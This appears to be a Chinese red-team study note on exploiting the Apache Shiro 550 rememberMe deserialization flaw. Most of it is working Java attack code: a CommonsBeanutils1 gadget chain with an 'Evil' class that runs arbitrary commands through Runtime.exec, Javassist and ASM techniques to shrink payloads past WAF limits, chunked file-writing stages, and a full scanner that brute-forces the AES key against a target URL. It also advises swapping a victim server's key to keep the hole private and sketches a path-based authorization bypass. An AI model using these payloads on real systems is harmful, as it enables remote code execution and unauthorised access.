在一个红队面试题,提及到过 主要介绍的是shiro550

shiro反序列化

原理

版本1.2.4

下载环境

  1. git clone https://github.com/apache/shiro.git
  2. cd shiro
  3. git checkout shiro-root-1.2.4

image.png

官方解释

https://issues.apache.org/jira/browse/SHIRO-550

image.png
在默认情况下Shiro会使用CookieRememberMeManager功能,当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

  1. 检索cookie中RememberMe的值
  2. Base64解码
  3. 使用AES解密
  4. 反序列化

    由于AES加解密的秘钥被硬编码在代码中,这意味着有权访问源代码的任何人都知道默认加密密钥是什么,因此,攻击者可以创建一个恶意对象并对其进行序列化,编码,然后将其作为cookie发送,然后Shiro将解码并反序列化,从而导致恶意代码执行


分析

解密过程

  1. 在CookieRememberMeManager类中读取cookie跟踪

image.png

  1. 进入readValue()方法,将cookie中的remember字段值赋予value并返回

image.png

  1. 对数据进行base64解码

image.png

  1. 进入 AbstractRememberMeManager类中的convertBytesToPrincipals 方法 shiro拿到cookie后的关键代码,先decrypt再反序列化

image.png

  1. 跟到decrypt方法

image.png

在getCipherService方法中,获取到加密方法:AES/CBC/PKCS5Padding

调用具体的cipherService,传入加密后的数据和cipherKey进行解密 getDeryptionCipherKey()获取的值也就是这个默认key,硬编码在程序中 经过base64硬编码的秘钥,因为 AES 是对称加密,即加密密钥也同样是解密密钥

image.png

  1. 继续查看decrypt方法,通过cipherService的decrypt来解密数据,跟进后进入JcaCipherService类中的decrypt方法

image.png
image.png

  1. 继续跟进decrypt方法,完成解密后,返回解密后的数据

image.png

  1. 此时回到AbstractRememberMeManager类中的decrypt方法,可以查看到序列化数据

image.png

  1. 此时再进入deserialize方法,并进入跟进

image.png
image.png

  1. 此时进入到DefaultSerializer类中的deserialize方法,出现了readobject()

image.png

Shiro是默认依赖Commons-Beanutils1.8.3的,那么就可以利用CommonsBeanutils1反序列化链进行构造payload

image.png

一般在登陆状态,会先判断以下JSESSIONID的值,如果修改rememberMe以后没有作用,可以删除一下JSESSIONID

payload需要缩小背景

WAF会对rememberMe长度进行限制,甚至解密payload检查反序列化class

以CommonsBeanutils1链为例

  • 序列化数据本身缩小
  • 针对TemplatesImpl中的_bytecodes字节码缩小
  • 对于执行的代码如何缩小(STATIC代码块)

将ysoserial生产的payload缩小

缩小前展示
用ysoserial生成CB1链,并进行base64

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
mvn clean package -DskipTests

image.png

image.png

长度为3872

方法

尝试自己构造Gadget

依赖

  1. <dependency>
  2. <groupId>commons-beanutils</groupId>
  3. <artifactId>commons-beanutils</artifactId>
  4. <version>1.9.2</version>
  5. </dependency>

构造代码

  1. public static byte[] getPayloadUseByteCodes(byte[] byteCodes) {
  2. try {
  3. TemplatesImpl templates = new TemplatesImpl();
  4. setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes});
  5. setFieldValue(templates, "_name", "HelloTemplatesImpl");
  6. setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
  7. final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
  8. final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
  9. queue.add("1");
  10. queue.add("1");
  11. setFieldValue(comparator, "property", "outputProperties");
  12. setFieldValue(queue, "queue", new Object[]{templates, templates});
  13. return serialize(queue);
  14. } catch (Exception e) {
  15. e.printStackTrace();
  16. }
  17. return new byte[]{};
  18. }

恶意类

  1. public class EvilByteCodes extends AbstractTranslet {
  2. static {
  3. try {
  4. Runtime.getRuntime().exec("calc.exe");
  5. } catch (Exception e) {
  6. e.printStackTrace();
  7. }
  8. }
  9. @Override
  10. public void transform(DOM document, SerializationHandler[] handlers) {
  11. }
  12. @Override
  13. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
  14. }
  15. }

读取字节码并设置到Gadget中,序列化后统计长度:2728

  1. byte[] evilBytesCode = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
  2. byte[] my = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(evilBytesCode));
  3. System.out.println(new String(my).length());

还有三处可以优化:

  • 设置_name名称可以是一个字符
  • 其中_tfactory属性可以删除(分析TemplatesImpl得出)
  • 其中EvilByteCodes类捕获异常后无需处理 ```java setFieldValue(templates, “_name”, “t”); // setFieldValue(templates, “_tfactory”, new TransformerFactoryImpl());

try { Runtime.getRuntime().exec(“calc.exe”); } catch (Exception ignored) { }

  1. 经过这三处优化后得到长度:**2608**
  2. <a name="tNtyl"></a>
  3. ### 从字节码层面进行优化
  4. 上文中的EvilBytesCode恶意类的字节码是可以缩减的<br />对字节码进行分析:javap -c -l EvilByteCodes.class
  5. ```java
  6. public class org.sec.payload.EvilByteCodes extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
  7. // transform 1
  8. // transform 2
  9. // <init>
  10. // <clint>
  11. static {};
  12. Code:
  13. 0: invokestatic #2 // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
  14. 3: ldc #3 // String
  15. 5: invokevirtual #4 // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;
  16. 8: pop
  17. 9: goto 13
  18. 12: astore_0
  19. 13: return
  20. Exception table:
  21. from to target type
  22. 0 9 12 Class java/lang/Exception
  23. LineNumberTable:
  24. line 11: 0
  25. line 13: 9
  26. line 12: 12
  27. line 14: 13
  28. LocalVariableTable:
  29. Start Length Slot Name Signature
  30. }

可以看出,该类每个方法包含了三部分:

  • 代码对应的字节码
  • ExceptionTable和LocalVariableTable
  • LineNumberTable

从JVM相关的知识可以得知,局部变量表和异常表是不能删除的,否则无法执行
但LineNumberTable是可以删除的
换句话来说:LINENUMBER指令可以全部删了
于是基于ASM实现删除LINENUMBER

  1. byte[] bytes = Files.readAllBytes(Paths.get(path));
  2. ClassReader cr = new ClassReader(bytes);
  3. ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
  4. int api = Opcodes.ASM9;
  5. ClassVisitor cv = new ShortClassVisitor(api, cw);
  6. int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
  7. cr.accept(cv, parsingOptions);
  8. byte[] out = cw.toByteArray();
  9. Files.write(Paths.get(path), out);

ShortClassVisitor

  1. public class ShortClassVisitor extends ClassVisitor {
  2. private final int api;
  3. public ShortClassVisitor(int api, ClassVisitor classVisitor) {
  4. super(api, classVisitor);
  5. this.api = api;
  6. }
  7. @Override
  8. public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
  9. MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
  10. return new ShortMethodAdapter(this.api, mv);
  11. }
  12. }

重点在于ShortMethodAdapter:如果遇到LINENUMBER指令则阻止传递,可以理解为返回空

  1. public class ShortMethodAdapter extends MethodVisitor implements Opcodes {
  2. public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
  3. super(api, methodVisitor);
  4. }
  5. @Override
  6. public void visitLineNumber(int line, Label start) {
  7. // delete line number
  8. }
  9. }

读取编译的字节码并处理后替换

  1. Resolver.resolve("/path/to/EvilByteCodes.class");
  2. byte[] newByteCodes = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
  3. byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
  4. System.out.println(new String(payload).length());

经过优化后得到长度:1832

使用javassist构造

以上代码虽然做到了超过百分之五十的缩小,但存在一个问题:目前的恶意类是写死的,无法动态构造
想要动态构造字节码一种手段是选择ASM做,但有更好的选择:Javassist
通过这样的一个方法,就可以根据输入命令动态构造出Evil类

  1. private static byte[] getTemplatesImpl(String cmd) {
  2. try {
  3. ClassPool pool = ClassPool.getDefault();
  4. CtClass ctClass = pool.makeClass("Evil");
  5. CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
  6. ctClass.setSuperclass(superClass);
  7. CtConstructor constructor = ctClass.makeClassInitializer();
  8. constructor.setBody(" try {\n" +
  9. " Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
  10. " } catch (Exception ignored) {\n" +
  11. " }");
  12. CtMethod ctMethod1 = CtMethod.make(" public void transform(" +
  13. "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
  14. "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {\n" +
  15. " }", ctClass);
  16. ctClass.addMethod(ctMethod1);
  17. CtMethod ctMethod2 = CtMethod.make(" public void transform(" +
  18. "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
  19. "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
  20. "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {\n" +
  21. " }", ctClass);
  22. ctClass.addMethod(ctMethod2);
  23. byte[] bytes = ctClass.toBytecode();
  24. ctClass.defrost();
  25. return bytes;
  26. } catch (Exception e) {
  27. e.printStackTrace();
  28. return new byte[]{};
  29. }
  30. }

将动态生成的字节码保存至当前目录,再读取加载

  1. String path = System.getProperty("user.dir") + File.separator + "Evil.class";
  2. Generator.saveTemplateImpl(path, "calc.exe");
  3. byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
  4. byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
  5. System.out.println(new String(payload).length());


经过优化后得到长度:1848

不难发现使用Javassist生成的字节码似乎本身就不包含LINENUMBER指令
不过这只是猜测,当使用上文的删除指令代码优化后,发现进一步缩小了

  1. ...
  2. Generator.saveTemplateImpl(path, "calc.exe");
  3. Resolver.resolve("Evil.class");
  4. ...
  5. // 验证Payload是否有效
  6. Payload.deserialize(Base64.getDecoder().decode(payload));

经过优化后得到长度:1804

删除重写方法

可以发现Evil类继承自AbstractTranslet抽象类,所以必须重写两个transform方法
这样写代码会导致编译不通过,无法执行

  1. public class EvilByteCodes extends AbstractTranslet {
  2. static {
  3. try {
  4. Runtime.getRuntime().exec("calc.exe");
  5. } catch (Exception ignored) {
  6. }
  7. }
  8. }

编译不通过不代表非法,通过手段直接构造对应的字节码

  1. 通过ASM删除方法

    1. @Override
    2. public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
    3. if (name.equals("transform")) {
    4. return null;
    5. }
    6. MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
    7. return new ShortMethodAdapter(this.api, mv, name);
    8. }
  2. 通过Javassist直接构造

    1. private static byte[] getTemplatesImpl(String cmd) {
    2. try {
    3. ClassPool pool = ClassPool.getDefault();
    4. CtClass ctClass = pool.makeClass("Evil");
    5. CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
    6. ctClass.setSuperclass(superClass);
    7. CtConstructor constructor = ctClass.makeClassInitializer();
    8. constructor.setBody(" try {\n" +
    9. " Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
    10. " } catch (Exception ignored) {\n" +
    11. " }");
    12. byte[] bytes = ctClass.toBytecode();
    13. ctClass.defrost();
    14. return bytes;
    15. } catch (Exception e) {
    16. e.printStackTrace();
    17. return new byte[]{};
    18. }
    19. }

    通过以上手段处理后进行反序列化验证:成功弹出计算器

    1. String path = System.getProperty("user.dir") + File.separator + "Evil.class";
    2. Generator.saveTemplateImpl(path, "calc.exe");
    3. Resolver.resolve("Evil.class");
    4. byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
    5. byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
    6. System.out.println(new String(payload).length());
    7. Payload.deserialize(Base64.getDecoder().decode(payload));

最终优化后得到长度:1332
并不是所有方法都能删除,比如不存在构造方法的情况下无法删除空参构造
于是有了一个新思路:删除静态代码块,将代码写入空参构造

  1. ClassPool pool = ClassPool.getDefault();
  2. CtClass ctClass = pool.makeClass("Evil");
  3. CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
  4. ctClass.setSuperclass(superClass);
  5. CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" +
  6. " try {\n" +
  7. " Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
  8. " }catch (Exception ignored){}\n" +
  9. " }", ctClass);
  10. ctClass.addConstructor(constructor);
  11. byte[] bytes = ctClass.toBytecode();
  12. ctClass.defrost();
  13. return bytes;


最终优化后得到长度:1296

分块传输

以上的内容都在围绕字节码和序列化数据的缩小,已经做到的接近极致,很难做到更小的
对于STATIC代码块中需要执行的代码也有缩小手段,这也是更有实战意义是思考,因为实战中不是弹个计算器这么简单
因此可以用追加的方式发送多个请求往指定文件中写入字节码,将真正需要执行的字节码分块
使用Javassist动态生成写入每一分块的Payload,以追加的方式将所有字节码的Base64写入某文件

  1. static {
  2. try {
  3. String path = "/your/path";
  4. // 创建文件
  5. File file = new File(path);
  6. file.createNewFile();
  7. // 传入true是追加方式写文件
  8. FileOutputStream fos = new FileOutputStream(path, true);
  9. // 需要写入的数据
  10. String data = "BASE64_BYTECODES_PART";
  11. fos.write(data.getBytes());
  12. fos.close();
  13. } catch (Exception ignore) {
  14. }

在最后一个包中将字节码进行Base64Decode并写入class文件
(也可以直接写字节码二进制数据,不过认为Base64好分割处理一些)

  1. static {
  2. try {
  3. String path = "/your/path";
  4. FileInputStream fis = new FileInputStream(path);
  5. // size取决于实际情况
  6. byte[] data = new byte[size];
  7. fis.read(data);
  8. // 写入Evil.class
  9. FileOutputStream fos = new FileOutputStream("Evil.class");
  10. fos.write(Base64.getDecoder().decode(data));
  11. fos.close();
  12. } catch (Exception ignored) {
  13. }
  14. }

工具

payload缩小工具

其他问题

怎样检测目标框架中使用了shiro

直接查看请求响应中是否由rememberMe=deleteMe这样的Cookie

最新版shiro还存在反序列化漏洞吗

存在,只要密钥是常见的,还是有反序列化漏洞的可能性的

shiro反序列化怎么检测key的

实例化一个SimplePrincipalCollection并序列化,遍历key列表对该序列化数据进行AES加密
image.png

  1. SimplePrincipalCollection sc = new SimplePrincipalCollection();
  2. byte[] scBytes = Payload.serialize(sc);
  3. byte[] keyBytes = Base64.decode(key);
  4. CipherService cipherService = new AesCipherService();
  5. ByteSource byteSource = cipherService.encrypt(scBytes, keyBytes);
  6. byte[] value = byteSource.getBytes();

然后加入到Cookie的remberMe字段中发送

  1. String checkKeyCookie = "rememberMe=" + Base64.encodeToString(value);
  2. Request loginReq = new Request.Builder()
  3. .url(url)
  4. .addHeader("Cookie", "rememberMe=yanmu5525")
  5. .get()
  6. .build();

如果相应头的Set-Cookie字段中包含remember=deleteMe说明不是该密钥

如果什么都不返回,说明当前key是正确的key

  1. if (checkResponse.header("Set-Cookie") == null) {
  2. shiro = true;
  3. logger.info("find shiro key: " + key);
  4. }

实际中可能需要多次这样的请求来确认key

  1. package com.github.yanmu;
  2. import okhttp3.Call;
  3. import okhttp3.OkHttpClient;
  4. import okhttp3.Request;
  5. import okhttp3.Response;
  6. import org.apache.shiro.crypto.AesCipherService;
  7. import org.apache.shiro.crypto.CipherService;
  8. import org.apache.shiro.subject.SimplePrincipalCollection;
  9. import org.apache.shiro.codec.Base64;
  10. import org.apache.shiro.util.ByteSource;
  11. import java.io.*;
  12. import java.util.ArrayList;
  13. @SuppressWarnings("all")
  14. public class Main {
  15. public static byte[] serialize(Object o) {
  16. try {
  17. ByteArrayOutputStream aos = new ByteArrayOutputStream();
  18. ObjectOutputStream oos = new ObjectOutputStream(aos);
  19. oos.writeObject(o);
  20. oos.flush();
  21. oos.close();
  22. return aos.toByteArray();
  23. } catch (Exception e) {
  24. e.printStackTrace();
  25. }
  26. return null;
  27. }
  28. public static String start(OkHttpClient client,String url,String filepath) throws Exception {
  29. File file = new File(filepath);
  30. BufferedReader bufferedReader = new BufferedReader(new FileReader(file));
  31. ArrayList<String> arrayList = new ArrayList<>();
  32. String str;
  33. while ((str= bufferedReader.readLine())!=null){
  34. arrayList.add(str);
  35. }
  36. bufferedReader.close();
  37. for (String key : arrayList) {
  38. SimplePrincipalCollection sc = new SimplePrincipalCollection();
  39. byte[] scBytes = serialize(sc);
  40. byte[] keyBytes = Base64.decode(key);
  41. CipherService cipherService = new AesCipherService();
  42. ByteSource byteSource = cipherService.encrypt(scBytes, keyBytes);
  43. byte[] value = byteSource.getBytes();
  44. String checkKeyCookie = "rememberMe=" + Base64.encodeToString(value);
  45. Request loginReq = new Request.Builder()
  46. .url(url)
  47. .addHeader("Cookie", "rememberMe=yanmu5525")
  48. .get()
  49. .build();
  50. Call call = client.newCall(loginReq);
  51. Response response = call.execute();
  52. String respCookie = response.header("Set-Cookie");
  53. boolean shiro = false;
  54. if (respCookie != null && !respCookie.equals("")) {
  55. if (respCookie.contains("rememberMe=deleteMe")) {
  56. Request checkReq = new Request.Builder()
  57. .url(url)
  58. .addHeader("Cookie", checkKeyCookie)
  59. .get()
  60. .build();
  61. Call checkCall = client.newCall(checkReq);
  62. Response checkResponse = checkCall.execute();
  63. if (checkResponse.header("Set-Cookie") == null) {
  64. shiro = true;
  65. System.out.println("find shiro key: " + key);
  66. }
  67. checkResponse.close();
  68. }
  69. }
  70. response.close();
  71. if (shiro) {
  72. return key;
  73. }
  74. }
  75. return null;
  76. }
  77. public static void main(String[] args) throws Exception {
  78. OkHttpClient okHttpClient = new OkHttpClient();
  79. String start = start(okHttpClient, "http://127.0.0.1:8080/", "keys.txt");
  80. if (start==null || start.equals("")) {
  81. System.out.println("not find key");
  82. }
  83. }
  84. }

发现成功读取到了环境中的key
image.png

代码只做演示

有什么办法让Shiro洞被别人挖不到

发现shiro发序列化漏洞的时候,可以改其中的key,通过已经存在的反序列化可以执行代码
反射改了RememberMeManager中的key即可

但会导致已登录用户失效,新用户不用影响

Shiro反序列化Gadget选择有什么坑吗

  1. 默认不包含CC链,包含CB1链
  2. 用不同版本的CB1链会导致出错

    反序列化时会计算 服务器端反序列化对应类的serialVersionUID 值跟序列化数据里面的 serialVersionUID 值进行比对,如果一样则可以完成反序列化,不一样则会抛出错误,Shiro依赖的版本是Commons-Beanutils1.8.3,所以为了保证serialVersionUID值一样构造payload时也用Commons-Beanutils1.8.3版本

FqRf5kryw8ZlDmM2GDrc-_QM2jd9.png

shiro权限绕过问题

版本:1.5.3之前 shiro+spring

主要是和Spring配合时候的问题
例如/;/test/admin/page问题
在Tomcat判断/;test/admin/page为test应用下的/admin/page路由
进入到Shiro时被;截断被认作为/
再进入Spring时又被正确处理为test应用下的/admin/page路由
最后导致shiro的权限绕过

测试demo

  1. https://github.com/l3yx/springboot-shiro